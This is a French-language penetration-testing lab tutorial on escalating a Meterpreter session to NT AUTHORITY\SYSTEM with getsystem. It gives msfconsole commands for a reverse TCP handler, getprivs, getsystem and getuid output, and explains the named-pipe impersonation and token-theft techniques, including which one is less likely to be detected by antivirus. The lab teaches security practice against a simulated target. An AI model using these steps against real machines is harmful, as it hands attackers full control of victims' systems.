Escalader les privilèges avec getsystem dans Meterpreter

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans le domaine des tests d'intrusion (penetration testing), obtenir un accès initial à un système cible n'est que le début. Souvent, le premier point d'accès est un compte utilisateur à faible privilège avec des permissions limitées. Pour obtenir un contrôle total sur le système, vous devez élever vos privilèges vers un compte de niveau supérieur, tel que Administrator ou, encore mieux, NT AUTHORITY\SYSTEM sous Windows. Ce processus est connu sous le nom d'escalade de privilèges (privilege escalation).

Le Metasploit Framework fournit une charge utile post-exploitation puissante appelée Meterpreter, qui inclut une commande polyvalente, getsystem, conçue spécifiquement à cet effet. Cette commande automatise diverses techniques pour élever les privilèges de la session actuelle au niveau le plus élevé.

Dans ce laboratoire, vous vous mettrez dans la peau d'un attaquant qui a déjà obtenu une session Meterpreter de base sur une cible Windows. Vous apprendrez à utiliser la commande getsystem pour élever vos privilèges et confirmer votre nouveau niveau d'accès.

Établir une session Meterpreter sur une cible Windows

Dans cette étape, nous allons simuler l'obtention d'une session Meterpreter. Tout d'abord, nous devons démarrer la console Metasploit Framework et configurer un écouteur (listener) pour "capturer" la connexion entrante d'une machine compromise.

Ouvrez un terminal et démarrez la console Metasploit en mode silencieux pour éviter l'affichage de la bannière.

msfconsole -q

Une fois dans l'invite msfconsole, nous utiliserons le module générique multi/handler. Ce module est conçu pour gérer les connexions entrantes provenant de diverses charges utiles (payloads).

use multi/handler

Ensuite, nous devons indiquer au gestionnaire quelle charge utile attendre. Pour ce laboratoire, nous utiliserons une charge utile standard Windows Meterpreter reverse TCP.

set payload windows/meterpreter/reverse_tcp

Nous devons également configurer l'adresse IP (LHOST) et le port (LPORT) de l'écouteur. Nous définirons LHOST sur 127.0.0.1 (localhost) et LPORT sur 4444.

set LHOST 127.0.0.1
set LPORT 4444

Maintenant, démarrez l'écouteur en exécutant la commande exploit. Nous utilisons l'option -j pour l'exécuter en tant que tâche d'arrière-plan, ce qui maintiendra l'invite msfconsole disponible pour d'autres commandes.

exploit -j

Vous devriez voir une confirmation que le gestionnaire a démarré.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Pour ce laboratoire, un processus d'arrière-plan simulera maintenant un hôte Windows compromis se connectant à vous. Après quelques instants, vous devriez voir un message indiquant qu'une session Meterpreter a été ouverte.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:49152) at YYYY-MM-DD HH:MM:SS +0000

Pour interagir avec cette nouvelle session, utilisez la commande sessions avec l'option -i suivie de l'identifiant de la session.

sessions -i 1

Votre invite devrait changer en meterpreter>, indiquant que vous êtes maintenant dans la session Meterpreter sur la machine cible.

meterpreter >

Vérifier vos privilèges actuels avec getprivs

Dans cette étape, avant de tenter une élévation, il est crucial de comprendre les privilèges détenus par notre compte utilisateur actuel. Sous Windows, les privilèges déterminent quelles opérations spécifiques au niveau du système un utilisateur peut effectuer, telles que le débogage de programmes ou l'arrêt du système.

Meterpreter fournit la commande getprivs pour énumérer les privilèges associés au jeton de processus actuel.

Maintenant que vous êtes dans l'invite meterpreter>, exécutez la commande getprivs :

getprivs

La sortie listera tous les privilèges détenus par le processus utilisateur actuel. Certains privilèges sont activés par défaut, tandis que d'autres peuvent être désactivés.

============================================================
Enabled Process Privileges
============================================================
  SeChangeNotifyPrivilege
  SeIncreaseQuotaPrivilege
  SeShutdownPrivilege
  SeTimeZonePrivilege
  SeUndockPrivilege

Cette sortie nous indique nos capacités actuelles. Pour que de nombreuses techniques d'escalade fonctionnent, certains privilèges comme SeDebugPrivilege ou SeImpersonatePrivilege sont requis. Voir cette liste nous aide à planifier notre prochaine action.

Tenter une élévation vers SYSTEM avec la commande getsystem

Dans cette étape, nous allons utiliser la commande principale de Meterpreter pour l'escalade de privilèges : getsystem. Cette commande est un script puissant qui tente automatiquement plusieurs techniques différentes pour élever les privilèges de la session vers NT AUTHORITY\SYSTEM.

Le compte NT AUTHORITY\SYSTEM est le compte le plus puissant sur un système Windows, avec un accès pratiquement illimité à toutes les ressources. Obtenir le contrôle de ce compte est souvent l'objectif principal de la post-exploitation.

Depuis votre invite meterpreter>, exécutez simplement la commande getsystem :

getsystem

Meterpreter va maintenant tenter diverses techniques. En cas de succès, vous verrez un message indiquant quelle technique a fonctionné. Le résultat le plus courant en cas de succès est via "Named Pipe Impersonation".

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Si la commande renvoie un message de succès, vous avez probablement réussi à élever vos privilèges. Si elle échoue, cela signifie qu'aucune des techniques automatisées n'a fonctionné dans le contexte de l'utilisateur actuel, ce qui peut être dû à des privilèges manquants ou à un renforcement du système. Pour ce laboratoire, la commande devrait réussir.

Vérifier les nouveaux privilèges avec getuid

Dans cette étape, après avoir exécuté getsystem, nous devons vérifier que nos privilèges ont bien été élevés. Un moyen simple de le faire est de vérifier l'identité de l'utilisateur de notre session actuelle.

Meterpreter fournit la commande getuid à cet effet. Elle interroge le système et renvoie le nom d'utilisateur sous lequel le serveur Meterpreter s'exécute actuellement.

Dans votre invite meterpreter>, exécutez la commande getuid :

getuid

Si la commande getsystem a réussi, la sortie devrait maintenant indiquer que vous êtes l'utilisateur SYSTEM.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Voir NT AUTHORITY\SYSTEM comme nom d'utilisateur du serveur est la confirmation définitive d'une élévation de privilèges réussie. Vous disposez désormais du plus haut niveau de contrôle sur la machine cible. Si vous aviez exécuté getuid avant getsystem, cela aurait affiché le nom de l'utilisateur à privilèges limités que vous aviez initialement compromis.

Discussion des différentes techniques de getsystem

Dans cette étape, nous allons explorer ce qui se passe en coulisses lorsque vous exécutez getsystem. Cette commande n'est pas une fonction unique et magique ; c'est un script qui parcourt une liste de techniques connues d'escalade de privilèges sous Windows.

Pour voir la liste des techniques disponibles, vous pouvez utiliser le menu d'aide de la commande getsystem en passant l'option -h.

getsystem -h

Cela affichera les options d'utilisation et une liste des techniques qu'elle peut employer.

Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

    -h   Help Banner.
    -t   The technique to use. (Default to trying all)

Techniques:
    0: All
    1: Named Pipe Impersonation (In Memory/Admin)
    2: Named Pipe Impersonation (Dropper/Admin)
    3: Token Duplication (Admin)

(Note : Le nombre et le nom des techniques peuvent varier légèrement entre les versions de Metasploit.)

Décomposons brièvement ce que signifient ces techniques :

  • Named Pipe Impersonation (In Memory/Admin) : C'est la méthode par défaut et la plus fiable. Elle crée un service qui s'exécute en tant que SYSTEM, puis crée un "named pipe" auquel le service se connecte. Votre processus usurpe ensuite le contexte de sécurité de ce service, devenant ainsi SYSTEM. Tout cela se fait en mémoire. Cela nécessite généralement des privilèges de niveau Administrateur pour réussir.
  • Named Pipe Impersonation (Dropper/Admin) : Ceci est similaire à la première technique, mais implique le dépôt d'un fichier (une DLL) sur le disque. C'est moins discret et plus susceptible d'être détecté par les logiciels antivirus.
  • Token Duplication (Admin) : Cette technique trouve un processus qui s'exécute déjà en tant que SYSTEM, vole son jeton d'accès (access token) et l'applique à votre processus actuel. Cela nécessite le privilège SeDebugPrivilege, qui vous permet d'inspecter et de déboguer d'autres processus.

Par défaut, getsystem essaie toutes les techniques disponibles (-t 0) jusqu'à ce que l'une d'elles réussisse. Comprendre ces méthodes vous aide à résoudre les problèmes lorsque getsystem échoue et vous permet de sélectionner manuellement une technique spécifique si vous avez plus d'informations sur la configuration du système cible.

Résumé

Dans ce laboratoire, vous avez réussi à effectuer l'une des tâches post-exploitation les plus critiques : l'escalade de privilèges. Vous avez appris à exploiter le Metasploit Framework et sa charge utile Meterpreter pour élever votre accès sur une cible Windows, passant d'un utilisateur standard au compte tout-puissant NT AUTHORITY\SYSTEM.

Vous avez parcouru l'intégralité du processus, de la configuration d'un écouteur (listener) et de l'établissement d'une session à la vérification de votre niveau d'accès final. Plus précisément, vous avez utilisé :

  • msfconsole pour configurer un écouteur.
  • getprivs pour énumérer vos privilèges initiaux.
  • getsystem pour élever automatiquement vos privilèges.
  • getuid pour confirmer que vous étiez devenu NT AUTHORITY\SYSTEM.

Enfin, vous avez exploré les différentes techniques utilisées par la commande getsystem en coulisses. Cette connaissance est inestimable pour comprendre pourquoi la commande peut réussir ou échouer dans différents environnements. Maîtriser l'escalade de privilèges est une compétence fondamentale pour tout testeur d'intrusion, et getsystem est un outil puissant dans votre arsenal.